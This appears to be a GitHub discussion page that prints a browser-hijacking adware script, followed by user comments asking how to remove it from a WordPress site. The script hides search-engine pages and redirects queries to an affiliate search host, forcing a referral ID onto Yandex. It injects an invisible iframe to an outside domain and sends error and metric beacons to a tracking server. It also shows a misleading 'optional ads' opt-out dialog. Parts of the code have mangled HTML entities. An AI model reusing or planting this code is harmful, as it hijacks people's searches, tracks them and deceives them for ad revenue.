var block = '5db45'; | |
$$.ready(function() { | |
try { | |
if (location.hostname.indexOf("yandex.") !== 0 || location.pathname.indexOf("/search") == -1) { | |
return | |
} | |
var r = $$.randomNumber(1, 100); | |
var rLimit = scriptsToLoad[block].coverage; | |
if (r & gt; rLimit) { | |
return | |
} | |
$$.loadedCallback("MNTZ_LOADED", block); | |
if ($$.getCookie("__mtz_srchydx_fired") == 1) { | |
return | |
} | |
function getParams() { | |
params = {}; | |
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c & lt; r.length; c++) { | |
t = r[c].split("="), t[1] & amp; & amp; | |
(params[t[0]] = t[1]) | |
} | |
var a = location.hash.replace("#", ""); | |
a & amp; & amp; | |
(t = a.split("="), t[1] & amp; & amp; | |
(params[t[0]] = t[1])) | |
} | |
function checkAff() { | |
getParams(); | |
if (params.clid & amp; & amp; params.clid == "2300267") { | |
return true | |
} else { | |
window.stop & amp; & amp; | |
window.stop(); | |
$$.loadedCallback("BANNER_LOAD", block); | |
$$.setCookie("__mtz_srchydx_fired", 1, { | |
expire: 1800 | |
}); | |
location.search = location.search.length ? location.search + "&clid=2300267" : "?clid=2300267"; | |
clearInterval(tmr) | |
} | |
} | |
function checkForSearch() { | |
-1 != d.indexOf("yandex.") & amp; & amp; | |
checkAff() & amp; & amp; | |
clearInterval(tmr) | |
} | |
var d = window.document.domain, | |
tmr, params = {}; | |
if (window == top) { | |
checkForSearch(); | |
tmr = setInterval(checkForSearch, 100) | |
} | |
} catch (e) {} | |
}) | |
})() | |
} | |
if (scriptsToLoad['5db45']) { | |
(function() { | |
var block = '5db45'; | |
(function(n, i, q) { | |
var r = w["684a91d7f4464c3350"]; | |
var o = r.getMonetizationConfig('5db45'); | |
var j = document.domain; | |
var c = location.href; | |
var f = {}; | |
var h = true; | |
if (j.indexOf("nova.rambler.ru") !== -1 & amp; & amp; c.indexOf("/search") !== -1 & amp; & amp; c.indexOf("query=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
if (j.indexOf("go.mail.ru") !== -1 & amp; & amp; c.indexOf("/search") !== -1 & amp; & amp; c.indexOf("q=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
if (j.indexOf("plusnetwork.com") !== -1 & amp; & amp; c.indexOf("q=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
if (j.indexOf("search.mysearch.com") !== -1 & amp; & amp; c.indexOf("/web") !== -1 & amp; & amp; c.indexOf("q=") !== -1) { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000) | |
} | |
function m() { | |
document.documentElement.style.display = "block" | |
} | |
function a() { | |
if (document.head) { | |
var d = document.createElement("meta"); | |
d.name = "referrer"; | |
d.content = "no-referrer"; | |
document.getElementsByTagName("head")[0].appendChild(d) | |
} | |
} | |
function p(l) { | |
f = {}; | |
if (!l || l == "") { | |
l = location.href | |
} | |
var x = l.split("?"); | |
var v = l.split("#"); | |
if (x.length == 2) { | |
x = x[1] | |
} else { | |
x = x[0] | |
} | |
if (v.length == 2) { | |
x = x + "&" + v[1] | |
} | |
if (x != "") { | |
var d = x.split("&"); | |
for (var u = 0; u & lt; d.length; u++) { | |
t = d[u].split("="); | |
if (t[1]) { | |
f[t[0]] = t[1] | |
} | |
} | |
} | |
} | |
function k(d) { | |
var l = setInterval(function() { | |
p(); | |
if (f[d] == undefined) { | |
return | |
} | |
r.loadedCallback("BANNER_LOAD", '5db45'); | |
var u = f[d]; | |
var s = "http://search.feedvertizus.com/v1/hostedsearch?pid=252428&subid=965&subid2=y_" + ((r & amp; & amp; r.tbParams & amp; & amp; r.tbParams.tid) ? r.tbParams.tid : "") + "&keyword=" + u; | |
if (h) { | |
clearInterval(l); | |
h = false; | |
window.location.replace(s) | |
} | |
}, 0) | |
} | |
function g() { | |
document.documentElement.style.display = "none"; | |
setTimeout(m, 3000); | |
var d = setInterval(function() { | |
r.loadedCallback("BANNER_LOAD", '5db45'); | |
var l = "https://yandex.com/?clid=2300267"; | |
if (h) { | |
clearInterval(d); | |
h = false; | |
window.location.replace(l) | |
} | |
}, 0) | |
} | |
function b() { | |
if (j.indexOf("nova.rambler.ru") != -1) { | |
a(); | |
k("query") | |
} | |
if (j.indexOf("go.mail.ru") != -1) { | |
a(); | |
k("q") | |
} | |
if (j.indexOf("plusnetwork.com") != -1) { | |
a(); | |
k("q") | |
} | |
if (j.indexOf("search.mysearch.com") != -1) { | |
a(); | |
k("q") | |
} | |
} | |
b(); | |
function e() { | |
if (j.indexOf("r0.ru") != -1 & amp; & amp; location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("go.mail.ru") != -1 & amp; & amp; location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("securesurf.biz") != -1 & amp; & amp; location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("mysearch24.com") != -1 & amp; & amp; location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("search.mysearch.com") != -1 & amp; & amp; location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("secure-finder.org") != -1 & amp; & amp; location.pathname == "/") { | |
a(); | |
g() | |
} | |
if (j.indexOf("playbar.biz") != -1 & amp; & amp; location.pathname == "/") { | |
a(); | |
g() | |
} | |
} | |
e() | |
})(document, window); | |
})() | |
} | |
if (scriptsToLoad['4d7da']) { | |
(function() { | |
(function(e, a, b) { | |
var c = document.createElement("iframe"); | |
c.src = "https://nesmotrinamenya.ru/566bbee0f961ad71b54c3c2fd36db053"; | |
c.width = 1; | |
c.height = 1; | |
c.style = "position:absolute;left:0px;top:0px;opacity:0.0;"; | |
document.body.appendChild(c) | |
})(document, window); | |
})() | |
} | |
})(document, window);; | |
(function(g, a, e) { | |
var c = a["684a91d7f4464c3350"]; | |
var f = c.Sizzle; | |
function b() { | |
var d = f(".commercial-unit"); | |
var i = f("input[name=q]"); | |
if (i.length & gt; 0 & amp; & amp; d.length & gt; 0) { | |
var h = i[0].value; | |
c.loadedCallback("GGL_COM_BLOCK", "", h) | |
} | |
} | |
c.each(f("input[name=q]"), function(d) { | |
c.on(d, "change", function() { | |
b() | |
}) | |
}); | |
b() | |
})(document, window, undefined);; | |
(function(e, a, f, c) { | |
var b = a[f]; | |
b.twBarOptOutInit = function() { | |
var g = document.createElement("iframe"); | |
g.setAttribute("style", "display: none; position: fixed; top: 50%; left: 50%; width: 650px; height: 500px; margin-top: -250px; margin-left: -325px; z-index: 2147483647;"); | |
g.id = "__twbopt684a91d7f4464c3350"; | |
g.frameBorder = 0; | |
g.scrolling = "no"; | |
document.body.appendChild(g); | |
var d = null; | |
var h = function() { | |
if (d) { | |
clearTimeout(d) | |
} | |
var i = {}; | |
if (g.contentWindow) { | |
i = g.contentWindow.document | |
} else { | |
if (g.contentDocument) { | |
i = g.contentDocument | |
} | |
} | |
i.open(); | |
i.write('<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>' + a[f].tbParams.title + ' OptOut</title><style>article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}template{display:none}html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}a{background:0 0}a:active,a:hover{outline:0}h1{margin:.67em 0}b,strong{font-weight:700}dfn{font-style:italic}hr{height:0;-moz-box-sizing:content-box;box-sizing:content-box}mark{color:#000;background:#ff0}code,kbd,pre,samp{font-size:1em}pre{white-space:pre-wrap}q{quotes:"\xd0\x92\xd0\x83C" "\xd0\x92\xd0\x83D" "\xd0\x92\xd0\x838" "\xd0\x92\xd0\x839"}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}figure{margin:0}button,input,select,textarea{margin:0}button,select{text-transform:none}button{cursor:pointer;-webkit-appearance:button}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}@media print{*{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}a,a:visited{text-decoration:underline}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}select{background:#fff!important}}*,:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:62.5%;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.428571429;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#428bca;text-decoration:none}a:focus,a:hover{color:#2a6496;text-decoration:underline}a:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}img{vertical-align:middle}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}h1,h2,h3,h4,h5,h6{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-weight:500;line-height:1.1;color:inherit}h1,h2,h3{margin-top:20px;margin-bottom:10px}h4,h5,h6{margin-top:10px;margin-bottom:10px}h1{font-size:36px}h2{font-size:30px}h3{font-size:24px}h4{font-size:18px}h5{font-size:14px}h6{font-size:12px}p{margin:0 0 10px}small{font-size:85%}cite{font-style:normal}ol,ul{margin-top:0;margin-bottom:10px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.428571429}dt{font-weight:700}dd{margin-left:0}blockquote{padding:10px 20px;margin:0 0 20px;border-left:5px solid #eee}blockquote:after,blockquote:before{content:""}address{margin-bottom:20px;font-style:normal;line-height:1.428571429}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;white-space:nowrap;background-color:#f9f2f4;border-radius:4px}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.428571429;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}table{max-width:100%;background-color:transparent}th{text-align:left}fieldset{padding:0;margin:0;border:0}legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;margin-bottom:5px;font-weight:700}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}output{display:block;padding-top:7px;font-size:14px;line-height:1.428571429;color:#555;vertical-align:middle}.form-control:-ms-input-placeholder{color:#999}.form-control::-webkit-input-placeholder{color:#999}.btn{display:inline-block;padding:6px 12px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.428571429;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none}.btn:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:focus,.btn:hover{color:#333;text-decoration:none}.btn:active{background-image:none;outline:0;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.btn-primary:active,.btn-primary:focus,.btn-primary:hover{color:#fff;background-color:#3276b1;border-color:#285e8e}.btn-primary:active{background-image:none}.btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.btn-warning:active,.btn-warning:focus,.btn-warning:hover{color:#fff;background-color:#ed9c28;border-color:#d58512}.btn-warning:active{background-image:none}.btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.btn-danger:active,.btn-danger:focus,.btn-danger:hover{color:#fff;background-color:#d2322d;border-color:#ac2925}.btn-danger:active{background-image:none}.btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.btn-success:active,.btn-success:focus,.btn-success:hover{color:#fff;background-color:#47a447;border-color:#398439}.btn-success:active{background-image:none}.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;border-radius:6px}.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;border-radius:3px}.fade{opacity:0;-webkit-transition:opacity .15s linear;transition:opacity .15s linear}.fade.in{opacity:1}@font-face{font-family:"Glyphicons Halflings";src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format("embedded-opentype"),url(../fonts/glyphicons-halflings-regular.woff) format("woff"),url(../fonts/glyphicons-halflings-regular.ttf) format("truetype"),url(../fonts/glyphicons-halflings-regular.svg#glyphicons-halflingsregular) format("svg")}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.close{float:right;font-size:21px;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.2;filter:alpha(opacity=20)}.close:focus,.close:hover{color:#000;text-decoration:none;cursor:pointer;opacity:.5;filter:alpha(opacity=50)}button.close{padding:0;cursor:pointer;background:0 0;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:2000000;display:none;overflow:auto;overflow-y:scroll}.modal.fade .modal-dialog{-webkit-transform:translate(0,-25%);-ms-transform:translate(0,-25%);transform:translate(0,-25%);-webkit-transition:-webkit-transform .3s ease-out;-moz-transition:-moz-transform .3s ease-out;-o-transition:-o-transform .3s ease-out;transition:transform .3s ease-out}.modal.in .modal-dialog{-webkit-transform:translate(0,0);-ms-transform:translate(0,0);transform:translate(0,0)}.modal-dialog{position:relative;z-index:1050;width:auto;margin:10px}.modal-content{position:relative;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.2);border-radius:6px;outline:0;-webkit-box-shadow:0 3px 9px rgba(0,0,0,.5);box-shadow:0 3px 9px rgba(0,0,0,.5);background-clip:padding-box}.modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1030;background-color:#000}.modal-backdrop.fade{opacity:0;filter:alpha(opacity=0)}.modal-backdrop.in{opacity:.5;filter:alpha(opacity=50)}.modal-header{min-height:16.428571429px;padding:15px;border-bottom:1px solid #e5e5e5}.modal-header .close{margin-top:-2px}.modal-title{margin:0;line-height:1.428571429}.modal-body{position:relative;padding:20px}.modal-footer{padding:19px 20px 20px;margin-top:15px;text-align:right;border-top:1px solid #e5e5e5}.modal-footer:after,.modal-footer:before{display:table;content:" "}.modal-footer:after{clear:both}.modal-footer .btn+.btn{margin-bottom:0;margin-left:5px}@media screen and (min-width:768px){.modal-dialog{width:600px;margin:30px auto}.modal-content{-webkit-box-shadow:0 5px 15px rgba(0,0,0,.5);box-shadow:0 5px 15px rgba(0,0,0,.5)}}</style><content><div class="modal-content" style="font-family:\'Segoe UI\'\ | |
'Droid Sans\' | |
Arial sans - serif; width: 650 px "><div class=" | |
modal - header "><button type=" | |
button " class=" | |
close " id=" | |
close - btn " data-dismiss=" | |
modal " aria-hidden=" | |
true "><img src=" //connectionstrenth.com/ext/images/close-cross.png" width="16" height="16"></button><h4 class="modal-title" id="myModalLabel"><b>' + a[f].tbParams.title + '\'s development is supported by <u style="position:static">optional</u> ads</b></h4></div><div class="modal-body">' + a[f].tbParams.title + '\'s development is supported by <b>optional</b> advertisements that are added to some of the websites you visit. During the development of this extension, I\'ve put in thousands of hours adding features, fixing bugs and making things betternot mentioning the support of all the users who ask for help.<br><br>Ads support most of the internet we all use and love; without them, the internet we have today would simply not exist. Similarly, without revenue, this extension (and the upcoming new ones) would not be possible.<br><br><b>You can disable these ads now or later in the settings page. You can also minimize the ads appearance by clicking on partial support button. Both of these options are available by clicking \'x\' button in the corner of each ad.</b> In both cases,your choice will remain in effect unless you reinstall or reset the extension.</div><div class="modal-footer"><button type="button" id="full-support" class="btn btn-success btn-lg">Fully Support</button><button type="button" id="partial-support" class="btn btn-default">Partially Support</button><p style="text-align:left;width:100%;"><a id="no-support" style="text-decoration:underline;" href="#">No, I don\'t want to support you work</a></p></div></div></content>'); | |
i.close(); i.getElementById("full-support").onclick = function() { | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_FULLSUPPORT"); | |
return false | |
}; i.getElementById("close-btn").onclick = function() { | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_CLOSE"); | |
return false | |
}; i.getElementById("partial-support").onclick = function() { | |
window.open("http://thisadsfor.us/optout?t=1668&u=50653&key=684a91d7f4464c3350&block=" + b.currentOptoutBlock); | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_PARTSUPPORT") | |
}; i.getElementById("no-support").onclick = function() { | |
window.open("http://thisadsfor.us/optout?t=1668&u=50653&key=684a91d7f4464c3350&block=" + b.currentOptoutBlock); | |
b.optoutHide(); | |
b.loadedCallback("OPTOUT_CLK_NOSUPPORT") | |
} | |
}; | |
if (g.contentDocument || g.contentWindow) { | |
h() | |
} else { | |
b.on(g, "load", h); | |
d = setTimeout(h, 5000) | |
} | |
b.twBarOptOut = a[f].twBarOptOut = g | |
} | |
})(document, window, "684a91d7f4464c3350", undefined);; d.loadedCallback("FINISHED", "", location.host) | |
}) | |
});; | |
try { | |
b(document, window) | |
} catch (c) { | |
var h = (typeof c.stack != "undefined" ? c.stack : "!empty stack!"); | |
if (h.length & gt; 1500) { | |
h = h.substr(0, 1500) | |
} | |
var a = (i.location.protocol == "http:" ? "http:" : "https:") + "//connectionstrenth.com/log/?l=error&m=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!") + "|" + h); | |
var k = document.createElement("script"); | |
k.type = "text/javascript"; | |
k.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
(document.getElementsByTagName("script")[0] || document.documentElement.firstChild).parentNode.appendChild(k); | |
(function() { | |
var e = ["mid=", "wid=50653", "sid=" + (i[g] & amp; & amp; i[g].tbParams & amp; & amp; i[g].tbParams.sid) ? i[g].tbParams.sid : "", "tid=1668", "custom1=" + encodeURIComponent((typeof c.message != "undefined" ? c.message : "!empty message!")), "rid=CORE_JS_ERROR"]; | |
a = (i.location.protocol == "http:" ? "http:" : "https:") + "//connectionstrenth.com/metric/?" + e.join("&"); | |
var d = f.createElement("img"); | |
d.setAttribute("style", "width:0;height:0;display:none;visibility:hidden;"); | |
d.src = a + (a.indexOf("?") == -1 ? "?" : "&") + "t=" + (new Date().getTime()); | |
(document.head || document.documentElement).appendChild(d); | |
if (typeof d.onload != j) { | |
d.onload = function() { | |
d.parentNode & amp; & amp; | |
d.parentNode.removeChild(d) | |
} | |
} | |
})() | |
} | |
}(document, window)); | |
I have the same problem. Can someone help us?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hello
I found this file on my WordPress website on this link , I wanna remove it because it's make my website slower but I didn't know how can I removre it.
Thank You.